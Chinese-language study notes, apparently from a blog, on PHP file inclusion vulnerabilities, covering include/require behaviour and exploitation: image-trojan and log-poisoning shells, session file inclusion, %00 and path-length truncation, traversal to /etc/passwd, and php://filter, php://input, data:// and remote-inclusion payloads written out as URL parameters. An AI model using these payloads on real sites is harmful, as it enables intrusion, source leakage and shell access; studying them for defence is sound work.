文件包含笔记

什么是文件包含
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个 函数时直接调用此文件。而无需再次编写,这种 文件调用的过程一般被称 为文件包含。
例如:include “conn.php”

PHP中常见包含文件函数
include() 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进 来,发生错误时之给出一个警告,继续向下执行。
include_once() 功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
require() require()与include()的区别在于require()执行如果发生错误,函数会输出 错误信息,并终止脚本的运行。
require_once() 功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

区别 (面试必问)
@ inlude :包含的文件不存在,程序会继续执行
@ require:包含文件不存在,程序停止执行 (如果出现语法错误,两个不会继续执行, 如果是找不到这个文件,include继续执行,require,停止执行)

文件包含漏洞危害
• 配合文件上传漏洞GetShell
• 可以执行任意脚本代码
• 网站源码文件以及配置文件泄露
• 远程包含GetShell
• 控制整个网站甚至是服务器

文件包含漏洞的分类
• 当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
• 本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配置选 项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以是第三方 服务器中的文件,这样就形成了远程文件包含漏洞。

本地包含
文件包含可以用任意后缀名
因为文件包含读取的是要包含文件的源码,所以依然可以执行
在这里插入图片描述
所以可以结合文件上传,把恶意代码改成jpg后缀名传上去,再用文件包含执行

远程包含
有文件包含漏洞,但是不能上传图片,网站没有上传的功能
可以用远程包含
在这里插入图片描述phpinfo.txt中写入恶意代码,因为文件包含读取的是要包含文件的源码,所以txt可以执行

本地文件包含利用
• 上传图片马,包含图片马GetShell
• 读取网站源码以及配置文件
• 包含日志文件GetShell

日志包含
如果目标服务器开启日志,并且有文件包含漏洞,可先通过kali或者burp访问网站
在这里插入图片描述访问后,日志会记录下来我们访问的信息,从而成功把恶意代码写入日志中
在这里插入图片描述然后通过文件包含漏洞访问日志文件,就会执行我们写入的恶意代码,从而获取shell
在这里插入图片描述在这里插入图片描述

如果不能上传文件,也访问不了日志,可以包含sess文件,sess文件中的内容有可能是可控的,把一句话的内容保存到sess中

当文件上传的恶意代码保存的位置与文件包含的位置不在同一个目录下时,直接访问访问不到
在这里插入图片描述需要到存放恶意代码的目录下执行
在这里插入图片描述
如果文件包含的代码中给文件加了后缀名
在这里插入图片描述
%00截断
• /etc/passwd%00
• 需要 magic_quotes_gpc=off,PHP小于5.3.4有效
在这里插入图片描述

路径长度截断
• /etc/passwd././././././././././././.[…]/././././././././.
• php版本小于5.2.8可以成功,linux需要文件名长于4096, windows需要长于256
在这里插入图片描述
读服务器本地文件
?page=…/…/…/…/…/…/…/etc/passwd
在这里插入图片描述

读网站源码文件
index.php?page=php://filter/read=convert.base64- encode/resource=index.php
在这里插入图片描述再通过base64转码
伪协议:

  1. 直接包含木马文件,可以是图片,txt,压缩包…

  2. ?page=php://input 接收post请求 需要开启 仅需要开启 allow_url_include
    在这里插入图片描述

  3. ?page=http://172.18.11.66/0831/1.txt 需要开启 allow_url_fopen,allow_url_include (远程包含)

  4. ?page=php://filter/read=convert.base64- encode/resource=main.php (读取文件源码)

  5. ?page=data://text/plain,<?php phpinfo();?> 需要开启allow_url_fopen,allow_url_include
    在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值